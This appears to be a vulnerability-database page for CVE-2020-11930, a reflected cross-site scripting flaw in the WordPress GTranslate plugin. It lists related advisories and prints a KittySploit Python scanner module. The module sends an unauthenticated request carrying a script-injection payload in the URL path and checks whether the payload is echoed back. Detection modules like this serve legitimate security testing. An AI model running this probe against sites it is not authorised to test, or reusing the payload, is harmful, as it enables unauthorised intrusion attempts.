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WordPress GTranslate <2.8.52 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated reflected XSS in WordPress GTranslate via crafted link in hreflang tags.

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cnvd
CNVD
WordPress Gtranslate Cross-Site Scripting Vulnerability
20 Apr 202000:00
–cnvd
checkpoint_advisories
Check Point Advisories
Web Servers Cross-Site Scripting Attempt (CVE-2020-10820; CVE-2020-10821; CVE-2020-11930; CVE-2020-12256; CVE-2020-12259; CVE-2020-1943; CVE-2020-2096)
20 Dec 202000:00
–checkpoint_advisories
cve
CVE
CVE-2020-11930
20 Apr 202000:07
–cve
cvelist
Cvelist
CVE-2020-11930
20 Apr 202000:07
–cvelist
euvd
EUVD
EUVD-2020-4267
7 Oct 202500:30
–euvd
mend
Mend
CVE-2020-11930
20 Apr 202000:07
–mend
nuclei
Nuclei
WordPress GTranslate <2.8.52 - Cross-Site Scripting
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2020-11930
20 Apr 202001:15
–nvd
openvas
OpenVAS
WordPress GTranslate Plugin < 2.8.52 XSS Vulnerability
19 Apr 202000:00
–openvas
osv
OSV
CVE-2020-11930
20 Apr 202001:15
–osv
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress GTranslate plugin before 2."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress GTranslate <2.8.52 - Cross-Site Scripting Detection',
        'description': 'WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'wordpress', 'wp', 'xss', 'wp-plugin', 'wpscan', 'gtranslate', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://wpscan.com/vulnerability/10181',
            'https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module',
            'https://plugins.trac.wordpress.org/changeset/2245581/gtranslate',
            'https://plugins.trac.wordpress.org/changeset/2245591/gtranslate',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-11930',
        ],
        'cve': 'CVE-2020-11930',
    }

    def run(self):
        r = self.http_request(method="GET", path='/does_not_exist"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E<img%20src=x', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('<script>alert(document.domain)</script>', 'uri-translation',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="WordPress GTranslate <2.8.52 - Cross-Site Scripting detected",
                path='/does_not_exist"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E<img%20src=x',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.04457
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